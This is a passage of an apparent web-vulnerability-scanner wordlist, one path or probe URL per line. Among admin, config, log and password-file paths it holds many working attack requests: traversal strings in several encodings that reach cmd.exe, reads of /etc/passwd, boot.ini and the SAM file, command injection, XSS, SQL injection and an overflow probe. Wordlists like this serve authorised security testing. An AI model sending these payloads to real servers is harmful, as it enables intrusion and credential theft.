id=\\\nSQLQHit.asp\nSUNWmc/htdocs/\nSUNWmc/htdocs/en_US/\nSearch\nSetSecurity.shm\nSilverStream\nSilverStream/Meta/Tables/?access-mode=text\nSite/biztalkhttpreceive.dll\nSiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator\nSiteScope/htdocs/SiteScope.html\nSiteServer/Admin/commerce/foundation/DSN.asp\nSiteServer/Admin/commerce/foundation/domain.asp\nSiteServer/Admin/commerce/foundation/driver.asp\nSiteServer/Admin/knowledge/dsmgr/default.asp\nSiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp\nSiteServer/Admin/knowledge/dsmgr/users/UserManager.asp\nSiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp\nSiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp\nSiteServer/Admin/knowledge/persmbr/VsTmPr.asp\nSiteServer/Admin/knowledge/persmbr/vs.asp\nSiteServer/Knowledge/Default.asp?ctr=\\\nSiteServer/Publishing/ViewCode.asp\nSiteServer/admin/\nSiteServer/admin/findvserver.asp\nSites/Knowledge/Membership/Inspired/ViewCode.asp\nSites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp\nSites/Samples/Knowledge/Membership/Inspired/ViewCode.asp\nSites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp\nSites/Samples/Knowledge/Push/ViewCode.asp\nSites/Samples/Knowledge/Search/ViewCode.asp\nSurvey/Survey.Htm\nT-admin.cgi\nTiVoConnect?Command=QueryContainer&Container=/&Recurse=Yes\nTiVoConnect?Command=QueryServer\nUSER/CONFIG.AP\nVBZooM/add-subject.php\nWEB-INF./web.xml\nWEB-INF/\nWEBAGENT/CQMGSERV/CF-SINFO.TPF\nWS_FTP.LOG\nWS_FTP.ini\nWebAdmin.dll?View=Logon\nWebShop/logs/cc.txt\nWebShop/logs/ck.log\nWebShop/templates/cc.txt\nWebSphereSamples\nWeb_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html\nXMBforum/buddy.php\nXMBforum/member.php\nXSQLConfig.xml\nXcelerate/LoginPage.html\n[SecCheck]/..%252f..%252f../ext.ini\n[SecCheck]/..%255c..%255c../ext.ini\n[SecCheck]/..%2f../ext.ini\n\\../boot.ini\n\\../config.sys\n\\../readme.txt\n_AuthChangeUrl\n_AuthChangeUrl?\n_cti_pvt/\n_head.php\n_layouts/alllibs.htm\n_layouts/settings.htm\n_layouts/userinfo.htm\n_mem_bin/\n_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\n_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir\n_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir%20c:\\\n_mem_bin/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir\n_mem_bin/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\n_mem_bin/.._../winnt/system32/cmd.exe?/c+dir\n_mem_bin/FormsLogin.asp\n_mem_bin/auoconfig.asp\n_mem_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\n_mem_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\n_mem_bin/formslogin.asp?\\\n_mem_bin/remind.asp\n_pages\n_private\n_private/\n_private/_vti_cnf/\n_private/form_results.html\n_private/form_results.txt\n_private/orders.htm\n_private/orders.txt\n_private/register.htm\n_private/register.txt\n_private/registrations.htm\n_private/registrations.txt\n_private/shopping_cart.mdb\n_vti_adm/admin.dll\n_vti_bin\n_vti_bin/\n_vti_bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\" & vbCrLf & vbCrLf\n_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_bin/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%%35c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir\n_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%255c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u002f../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir\n_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir%20c:\\\n_vti_bin/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir\n_vti_bin/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\n_vti_bin/.._../winnt/system32/cmd.exe?/c+dir\n_vti_bin/CGImail.exe\n_vti_bin/_vti_adm\n_vti_bin/_vti_aut\n_vti_bin/_vti_aut/author.dll\n_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false\n_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false\n_vti_bin/_vti_aut/dvwssr.dll\n_vti_bin/_vti_aut/fp30reg.dll\n_vti_bin/_vti_aut/fp30reg.dll?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n_vti_bin/_vti_cnf/\n_vti_bin/admin.pl\n_vti_bin/cfgwiz.exe\n_vti_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\n_vti_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\n_vti_bin/contents.htm\n_vti_bin/fpadmin.htm\n_vti_bin/fpcount.exe\n_vti_bin/fpcount.exe/\n_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1\n_vti_bin/fpexe\n_vti_bin/fpremadm.exe\n_vti_bin/fpsrvadm.exe\n_vti_bin/shtml.dll\n_vti_bin/shtml.dll/_vti_rpc\n_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611\n_vti_bin/shtml.dll/nosuch.htm\n_vti_bin/shtml.exe\n_vti_bin/shtml.exe/_vti_rpc\n_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611\n_vti_bin/shtml.exe/junk_nonexistant.exe\n_vti_cnf/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_cnf/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \n_vti_cnf/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\n_vti_cnf/_vti_cnf/\n_vti_cnf/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\n_vti_cnf/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\n_vti_inf.html\n_vti_log\n_vti_log/_vti_cnf/\n_vti_pvt\n_vti_pvt/\n_vti_pvt/access.cnf\n_vti_pvt/administrator.pwd\n_vti_pvt/administrators.pwd\n_vti_pvt/author.log\n_vti_pvt/authors.pwd\n_vti_pvt/doctodep.btr\n_vti_pvt/linkinfo.cnf\n_vti_pvt/service.cnf\n_vti_pvt/service.grp\n_vti_pvt/service.pwd\n_vti_pvt/services.cnf\n_vti_pvt/shtml.dll\n_vti_pvt/shtml.exe\n_vti_pvt/svacl.cnf\n_vti_pvt/users.pwd\n_vti_pvt/writeto.cnf\n_vti_txt\n_vti_txt/\n_vti_txt/_vti_cnf/\na%5c.aspx\na.asp/.%u002e/.%u002e/.%u002e/.%u002e/winnt/win.ini\na.asp/.%u002e/.%u002e/.%u002e/..\\winnt\\repair\\sam._\na.asp/..%%35%63../..%%35%63../winnt/win.ini\na.asp/..%%35%63../..%%35%63..\\winnt\\repair\\sam._\na.asp/..%%35c../..%%35c../winnt/win.ini\na.asp/..%%35c../..%%35c..\\winnt\\repair\\sam._\na.asp/..%25%35%63../..%25%35%63../winnt/win.ini\na.asp/..%25%35%63../..%25%35%63..\\winnt\\repair\\sam.\na.asp/..%255c../..%255c../winnt/win.ini\na.asp/..%255c../..%255c..\\winnt\\repair\\sam._\na.asp/..%u00255c../..%u00255c../winnt/win.ini\na.asp/..%u00255c../..%u00255c..\\winnt\\repair\\sam._\na.asp/..%u002f../..%u002f../winnt/win.ini\na.asp/..%u002f../..%u002f..\\winnt\\repair\\sam._\na.asp/..%u005c../..%u005c../winnt/win.ini\na.asp/..%u005c../..%u005c..\\winnt\\repair\\sam._\na.asp/..\\../..\\../winnt/repair/sam\na.jsp//..//..//..//..//..//../winnt/win.ini\na_domlog.nsf\na_security.htm\nab2/\\@AdminAddadmin?uid=foo&password=bar&re_password=bar\nab2/\\@AdminViewError\nabczxv.htw\nabonnement.asp\nacart2_0/acart2_0.mdb\nacart2_0/admin/category.asp\nacartpath/signin.asp?|-|0|404_Object_Not_Found\naccess-log\naccess.log\naccount.nsf\naccounts.nsf\naccounts/getuserdesc.asp\nachievo//atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/\nacid/\nacid/acid_main.php\nackdoor\nactive.log\nadd.php\nadd_acl\nadd_user.php\naddressbook.php?\\\naddyoursite.php?catid=&lt;Script&gt;JavaScript:alert('Vulnerable');&lt;/Script&gt;\nadmbrowse.php?down=1&amp;cur=%2Fetc%2F&amp;dest=passwd&amp;rid=1&amp;S=[someid]\nadmcgi/contents.htm\nadmcgi/scripts/Fpadmcgi.exe\nadmentor/adminadmin.asp\nadmin-serv/config/admpw\nadmin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv\nadmin.cgi\nadmin.htm\nadmin.html\nadmin.nsf\nadmin.php\nadmin.php3\nadmin.php3?admin=anything\nadmin.php4?reg_login=1\nadmin.php?en_log_id=0&action=config\nadmin.php?en_log_id=0&action=users\nadmin.pl\nadmin.shtml\nadmin/\nadmin/admin.php?adminpy=1\nadmin/admin.shtml\nadmin/admin_phpinfo.php4\nadmin/adminproc.asp\nadmin/aindex.htm\nadmin/auth.php\nadmin/browse.asp?FilePath=c:\\&Opt=2&level=0\nadmin/cfg/configscreen.inc.php+\nadmin/cfg/configsite.inc.php+\nadmin/cfg/configsql.inc.php+\nadmin/cfg/configtache.inc.php+\nadmin/cms/htmltags.php\nadmin/contextAdmin/contextAdmin.html\nadmin/cplogfile.log\nadmin/credit_card_info.php\nadmin/database/wwForum.mdb\nadmin/datasource.asp\nadmin/db.php\nadmin/db.php?dump_sql=1\nadmin/exec.php3\nadmin/exec.php3?cmd=cat%20/etc/passwd\nadmin/exec.php3?cmd=dir%20c:\\\nadmin/index.php\nadmin/login.php?action=insert&username=test&password=test\nadmin/login.php?path=\\\nadmin/modules/cache.php+\nadmin/objects.inc.php4\nadmin/phpinfo.php\nadmin/script.php\nadmin/settings.inc.php+\nadmin/sh_taskframes.asp?Title=Configuraci%C3%B3n%20de%20registro%20Web&URL=MasterSettings/Web_LogSettings.asp?tab1=TabsWebServer%26tab2=TabsWebLogSettings%26__SAPageKey=5742D5874845934A134CD05F39C63240&ReturnURL=\\\nadmin/system.php3?cmd=cat%20/etc/passwd\nadmin/system.php3?cmd=dir%20c:\\\nadmin/system_footer.php\nadmin/templates/header.php\nadmin/upload.php\nadmin/wg_user-info.ml\nadmin4.nsf\nadmin5.nsf\nadmin_t/include/aff_liste_langue.php\nadministrator/\nadministrator/gallery/gallery.php?directory=\\\nadministrator/gallery/navigation.php?directory=\\\nadministrator/gallery/uploadimage.php\nadministrator/gallery/uploadimage.php?directory=\\\nadministrator/gallery/view.php?path=\\\nadministrator/popups/sectionswindow.php?type=web&link=\\\nadministrator/upload.php?newbanner=1&choice=\\\nadminlogin?RCpage=/sysadmin/index.stm\nadmisapi/ \nadmisapi/fpadmin.htm\nadpassword.txt\nadsamples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nadsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nadsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nadsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nadsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nadsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nadsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nadsamples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nadsamples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nadsamples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nadsamples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nadsamples/config/site.csc\nadv/gm001-mc/\nadvworks/equipment/catalog_type.asp\naff_news.php\nagentadmin.php\nagentrunner.nsf\naillist.pl\nakopia/\nalbums/userpics/Copperminer.jpg.php?cat%20/etc/passwd\nalog.nsf\nammerum/\nampas\nan.sh\nans.pl?p=../../../../../usr/bin/id|&blah\nans/ans.pl?p=../../../../../usr/bin/id|&blah\nanthill/login.php\napp.cfm\napproval/ts_app.htm\narchive.asp\narchive/a_domlog.nsf\narchive/l_domlog.nsf\narchive_forum.asp\nariadne/\narticle.php?article=4965&post=1111111111\narticle.php?sid=\\\nashnews.php\nasp/SQLQHit.asp\nasp/sqlqhit.asp\natomicboard/index.php?location=../../../../../../../../../../etc/passwd\nauth.inc.php\nauthor.asp\nautoexec.bat\nautohtml.php?op=modload&mainfile=x&name=/etc/passwd\nautologon.html?10514\nava\naxis-cgi/buffer/command.cgi\naxsurvey\nb2-include/b2edit.showposts.php\nb2-tools/gm-2-b2.php\nbackup/\nban.bak\nban.dat\nban.log\nbandwidth/index.cgi\nbanmat.pwd\nbanners.php?op=Change\nbanners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'/*\nbase/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1\nbasilix.php3\nbasilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu\nbasilix/\nbasilix/compose-attach.php3\nbasilix/mbox-list.php3\nbasilix/message-read.php3\nbb-dnbd/faxsurvey\nbb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK\nbbs/\nbbs/admin/\nbbs/admin/config/\nbbs/data/\nbbs/db/\nbbs/include/\nbc4j.html\nbdir.htr\nbigconf.cgi\nbigconf.cgi?command=view_textfile&file=/etc/master.passwd&filters=;\nbigsam_guestbook.php?displayBegin=9999...9999\nbilling.nsf\nbilling/billing.apw\nbin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nbin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nbin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nbin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nbin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nbin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nbin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nbin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nbin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nbin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nbin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nbin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nbin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nbin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nbin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nbin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nbin/CGImail.exe\nbin/admin.pl\nbin/cfgwiz.exe\nbin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nbin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nbin/common/user_update_admin.pl\nbin/common/user_update_passwd.pl\nbin/contents.htm\nbin/fpadmin.htm\nbin/fpremadm.exe\nbin/fpsrvadm.exe\nbin/scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nbin/scripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%255c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u002f../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..%u005c../winnt/system32/cmd.exe?/c+dir\nbin/scripts/../../../../winnt/system32/cmd.exe /c+dir?/c+dir%20c:\\\nbin/scripts/../../../../winnt/system32/cmd.exe?/c+dir\nbin/scripts/../../../../winnt/system32/cmd.exe?/c+dir%20c:\\\nbin/scripts/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir\nbin/scripts/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\nbin/scripts/.._../winnt/system32/cmd.exe?/c+dir\nbin/scripts/openvendor/gnete/RetrievePNBody.asp\nbiztalktracking/RawCustomSearchField.asp?|-|0|404_Object_Not_Found\nbiztalktracking/rawdocdata.asp?|-|0|404_Object_Not_Found\nblabla.idq\nblah-whatever-badfile.jsp\nblah-whatever.jsp\nblah123.php\nblah_badfile.shtml\nblahb.ida\nblahb.idq\nboard/index.php\nboard/philboard_admin.asp+\nboilerplate.asp?NFuse_Template=../../boot.ini&amp;NFuse_CurrentFolder=/SSLx0020Directories|-|0|404_Object_Not_Found\nbookmark.nsf\nbooks.nsf\nbottom.html\nbuddies.blt\nbuddy.blt\nbuddylist.blt\nbugtest+/+\nbusytime.nsf\nbytehoard/index.php?infolder=../../../../../../../../../../../etc/\nc/winnt/system32/cmd.exe?/c+dir+/OG\nc32web.exe/ChangeAdminPassword\nca/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt/\\\\win.ini\nca/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\/\\\\etc/\\\\passwd\nca//\\\\../\\\\../\\\\../\\\\../\\\\../\\\\../\\\\windows/\\\\win.ini\nca000001.pl?ACTION=SHOWCART&hop=\\\nca000007.pl?ACTION=SHOWCART&REFPAGE=\\\ncache-stats/\ncalendar.nsf\ncarbo.dll\ncard/\ncartcart.cgi\ncaspsamp/codebrws.asp?source=/caspsamp/../LICENSE.LIC\ncaspsamp/codebrws.asp?source=/caspsamp/../admin/conf/service.pwd\ncaspsamp/codebrws.asp?source=/caspsamp/../admin/logs/server\ncaspsamp/codebrws.asp?source=/caspsamp/../global_odbc.ini\ncaspsamp/codebrws.asp?source=/caspsamp/../logs/server-3000\ncatalog.nsf\ncatalog.nsf/\ncatalog/includes/include_once.php\ncategorie.php3?cid=june\ncatinfo\ncatinfo?<u><b>TESTING\ncaupo/admin/admin_workspace.php\ncbms/cbmsfoot.php\ncbms/changepass.php\ncbms/editclient.php\ncbms/passgen.php\ncbms/realinv.php\ncbms/usersetup.php\nccbill/whereami.cgi\ncd-cgi/sscd_suncourier.pl\ncersvr.nsf\ncerta.nsf\ncertlog.nsf\ncertsrv.nsf\ncertsrv/..%255cwinnt/system32/cmd.exe?/c+dir\ncertsrv/..%c0%af../winnt/system32/cmd.exe?/c+dir\ncfappman/index.cfm\ncfcache.map\ncfdocs.map\ncfdocs/cfcache.map\ncfdocs/cfmlsyntaxcheck.cfm\ncfdocs/exampleapp/docs/sourcewindow.cfm\ncfdocs/exampleapp/docs/sourcewindow.cfm?Template=c:\\boot.ini\ncfdocs/exampleapp/email/getfile.cfm\ncfdocs/exampleapp/email/getfile.cfm?filename=c:\\boot.ini\ncfdocs/exampleapp/publish/admin/addcontent.cfm\ncfdocs/examples/cvbeans/beaninfo.cfm\ncfdocs/examples/httpclient/mainframeset.cfm\ncfdocs/examples/parks/detail.cfm\ncfdocs/expelval/displayopenedfile.cfm\ncfdocs/expelval/exprcalc.cfm\ncfdocs/expelval/openfile.cfm\ncf